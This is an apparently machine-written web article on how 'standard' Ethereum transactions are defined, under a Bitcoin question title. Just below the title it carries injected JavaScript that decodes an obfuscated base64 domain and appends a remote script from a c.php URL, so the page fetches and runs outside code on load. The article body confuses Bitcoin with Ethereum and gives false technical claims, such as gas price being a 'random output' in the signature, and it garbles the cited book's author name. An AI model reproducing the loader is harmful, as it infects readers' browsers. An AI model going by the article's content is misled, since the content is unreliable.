Ethereum: How is a “standard” Bitcoin transaction defined?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=522e143b”;document.body.appendChild(script);

I can provide you with a draft article on how Ethereum’s “standard” transactions are defined.

Ethereum: How a Standard Transaction is Defined

His influential book, “Mastering Bitcoin: Andreas Antonopoulos’ Guide to Understanding Bitcoin,” discusses the fundamental concept of blockchain technology. In this article, we’ll delve into the definition of a standard transaction in Ethereum and its implications for users and developers.

Purpose of a Standard Transaction

A standard Ethereum transaction is one that follows a set of predefined rules and guidelines outlined in the Ethereum Virtual Machine (EVM) specification. These rules are designed to ensure transaction integrity and security, while also providing developers with the flexibility to build custom applications on top of the blockchain.

Key Components of a Standard Transaction

A standard Ethereum transaction typically consists of several key components:

• Input: This refers to the data or funds being transferred from the sender’s wallet.

• Output: This represents the data or funds received in the recipient’s wallet.

• Signature

  : In Ethereum, transactions require the sender’s signature and a random output (also known as the “gas price”).

• Gas price: The gas price is a measure of the computational effort required to complete a transaction.

EVM specification

Ethereum uses the EVM specification to define standard transactions. The EVM is a virtual machine that runs on top of the Ethereum network and provides a standardized way for developers to create and execute smart contracts (self-executing contracts with pre-programmed rules).

According to the EVM specification, each transaction must follow the following guidelines:

• Inputs: Each input must be a valid Ethereum data type (e.g., address, integer, string).

• Signature: Requires a signature from the sender and a random output.

• Gas Price: The gas price for the transaction must be included in the signature.

What makes a standard transaction “standard”?

A standard transaction on Ethereum is one that follows these guidelines and complies with the EVM specification. In other words, it is a transaction that:

• Has a valid input data structure.

• Includes a signature with a random output (gas price).

• Meets the gas price required for execution.

Conclusion

Understanding standard transactions on Ethereum is very important for both users and developers. By following these guidelines, users can ensure that their transactions are executed securely and efficiently. In the meantime, developers can use standard transactions as a starting point to build custom applications on top of the blockchain.

For those interested in learning more about Ethereum and its underlying technology, Antonopula’s book Mastering Bitcoin is a great resource for understanding the basics of smart contracts and transaction verification.